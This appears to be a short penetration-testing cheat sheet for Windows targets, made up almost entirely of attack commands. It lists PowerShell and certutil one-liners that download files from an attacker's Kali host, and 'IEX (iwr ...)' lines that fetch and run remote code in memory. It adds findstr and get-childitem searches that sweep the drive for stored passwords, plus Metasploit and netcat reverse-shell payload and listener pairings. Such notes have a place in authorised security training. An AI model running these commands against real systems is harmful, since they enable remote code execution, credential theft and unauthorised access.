# Try different `wget` type commands
- depending on config and Defender, etc. state, try the below commands when moving files to a WIN target
- `iwr`
```powershell
iwr http://<Kali_ip>:<port>/<file> -usebasicparsing
iwr -uri "http://<Kali_ip>:<port>/<file>" -outfile <out_file>
```
- `iex (iwr)`
```powershell
powershell.exe -Command IEX (IWR http://<Kali_ip>:<port>/<file>)
powershell -c "IEX (iwr http://<Kali_ip>:<port>/<file> -usebasicparsing)"
powershell IEX (iwr -uri 'http://<Kali_ip>:<port>/<file>')
powershell -c "iwr http://<Kali_ip>:<port>/<file> -usebasicparsing | IEX"
```
- `certutil.exe`
```cmd
certutil.exe -urlcache -split -f http://<Kali_ip>:<port>/<in.file> <out.file>
```
- `New-Object Net.WebClient`
```powershell
(New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe','tool.exe')
```
- `iex (New-Object Net.WebClient)`
```powershell
powershell.exe -Command IEX ((New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe','tool.exe'))
powershell -c "IEX ((New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe','tool.exe'))"
powershell IEX ((New-Object Net.WebClient).DownloadFile('http://<Kali_ip>/tool.exe'))
```
- `curl`
```powershell
curl http://<Kali_ip>:<port>/<file>
```
- `wget`
```powershell
wget "http://<Kali_ip>:<port>/<file>" -outfile <out_file>
```
# Try multiple `find` type commands
```powershell
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml 2>$null
get-childitem -Path "C:\" -Filter "password" -Recurse 2>$null
findstr /spin "password" *.* 2>$null #use from c:\
```
# Type multiple payload+listeners combos
- `/exploit/windows/smb/smb-delivery` msf module
- `.asp` payload with `windows/meterpreter/reverse_tcp` and `exploit/multi/handler`
- `.exe` payload `windows/reverse_tcp` and `nc`